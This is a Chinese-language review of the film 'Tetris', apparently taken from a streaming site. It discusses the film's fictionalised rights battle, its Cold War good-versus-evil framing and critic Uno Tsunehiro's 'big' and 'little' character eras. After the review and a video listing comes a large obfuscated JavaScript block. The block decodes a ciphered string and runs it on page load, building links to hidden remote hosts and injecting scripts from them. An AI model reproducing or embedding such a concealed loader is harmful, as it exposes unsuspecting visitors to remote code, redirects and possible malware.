“小角色”时代讲述“大人物”的故事
时间：2023-10-16 20:04:47阅读：41522次来源：木瓜影院 ◎淹然
同为游戏IP改编，电影《俄罗斯方块》和《超级马力欧兄弟大电影》走的是两条完全不同的路。后者极力拓展游戏内容本身的奇景，前者则无意于此，变成了一部政治惊悚片：围绕俄罗斯方块的版权争夺，几股力量汇聚苏联，与当地官僚展开商业谈判。其中的“惊悚”之处，就在于苏联环境的“波谲云诡”。
虽然基于真实事件，但为了提高娱乐性，《俄罗斯方块》进行了大胆的局部改造。游戏商人亨克·罗杰斯和俄罗斯方块的开发者之一、程序员帕基特诺夫都看过剧本。亨克表示这就是一个好莱坞剧本，无关历史，很多事情没发生过。
如果想快速了解这场版权之争的来龙去脉，《俄罗斯方块》当然不是那块最佳的压缩饼干，更好的选择有很多，比如视频博主“游戏史专家”制作的专题片《俄罗斯方块的故事》对这场争夺的全景呈现就远比电影详尽。真正值得关注的是，电影为什么要从亨克出发来讲这个故事？
如果从另一个版权争夺者——英国镜报集团出发，这就是一个关于商业巨子腐败与陨落的故事了。现在，故事从亨克出发，就是一个关于梦想和人性的故事。相比版权之争，本片的情感故事才是最动人的——只是各条感情线的水平参差不齐。
作为在纽约长大的荷兰人，亨克有个日本妻子，这一组合充满着强烈的地缘政治表征，但这确实是事实。影片中，他是个充满激情的游戏商人，他说：“我玩了五分钟俄罗斯方块，在梦里都能看到不断掉落的方块。”影片中，他与妻女的情感线被塑造得极其敷衍，到最后你会发现，他错过了见证女儿登台表演的重要时刻，还差点儿让家人无处安身，只能以庸俗的事业逆袭成功来勉强弥补。
相比之下，亨克与帕基特诺夫的亲密友情更为突出。这是跨越意识形态藩篱的两个程序员之间的惺惺相惜，游戏编程语言是可以穿透两大阵营的共通语言。亨克在帕基特诺夫的房间里提议后者完善游戏玩法，而帕基特诺夫带领亨克前往地下舞会——只有在这个地下王国，人们才能表达对可口可乐和李维斯牛仔裤的向往。在充满象征意味的瑞典歌曲《最后的倒计时》的映衬下，帕基特诺夫说出了点题之词：“好的想法是没有国界的。”
最终，在旧金山机场，亨克给了来自莫斯科的帕基特诺夫一个美国式拥抱，美国梦的表征再明显不过。
整部影片显得太过卡通，每个角色都像毫无歧义的指示牌——执著的漫画小子亨克，充满心机的匈牙利游戏掮客，傲慢的英国大亨，或无私或自私的苏联官僚。对此，TheWrap网站的评价颇有见地：“《俄罗斯方块》就像迪士尼化的《社交网络》。”
《俄罗斯方块》又是一部非常典型或者说复古的冷战题材影片，片中大部分的虚构桥段——克格勃的严密监控与滥用暴力，都是为这个二元对立的意识形态内核服务的。如果借用评论家宇野常宽的概念，本片其实是在“小角色”时代讲述“大人物”的故事。
所谓“大人物”时代，就是宏大叙事仍然行之有效、大写的正义依旧具备说服力的年代，就像《俄罗斯方块》中呈现的，受打压的天才程序员最终成功逃离了伤心地——这就是“大人物”的许诺，付出就会有回报。但谁都知道，现在早已不是什么“大人物”时代，宇野常宽认为，“大人物”已经坏死，宏大叙事崩溃，“小角色”崛起，消费主义成为崭新的、隐蔽的意识形态。但“小角色”时代已经无法承诺什么，人与人之间无法达成共识，蜷缩在各自的茧房社区里，彼此隔阂。显而易见，美国梦就是宏大叙事，而《俄罗斯方块》讲述的正是美国梦胜利的故事，所以问题就变成了，在今天讲述宏大叙事还是可能的吗？
本片掀起了是否抹黑苏联的争议。批评者认为，片中虚构的克格勃故事线，是对苏联的丑化；而肯定者觉得，尽管这些细节在版权战的故事中是杜撰的，但确实在苏联的日常中上演过——无论是无处不在的监控，还是受限的、短缺的食品供给。
而事实上，价值观和审美等在不同的语境下可能有着迥异的标准——在此处所承认或鼓励的人性发展，在彼处可能就是要加以限制或改造的；在此处的自然渴求，在彼处可能就变成了病态迷恋。
在半个世纪前，一部关于美苏之争的冷战题材，可以毫无顾忌地展现善恶之战，问题不过是，对各自阵营来说，善恶是相反的而已。但在今天，《俄罗斯方块》依旧展现了一场毫无疑义的善恶大战，而这才是本片真正的“复古”所在。在如今的小角色时代，要找出一种对所有人都有说服力的大写的正义已经不再可能，价值判断不再有唯一的标准答案。而这正是《俄罗斯方块》遭遇的困境，在小角色时代讲述大人物，它只能说服本就能被说服的观众。
热门视频
世亚预第三阶段B组第5轮伊拉克vs约旦
未录入 / 其他
正片
人气：299.87 万
!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();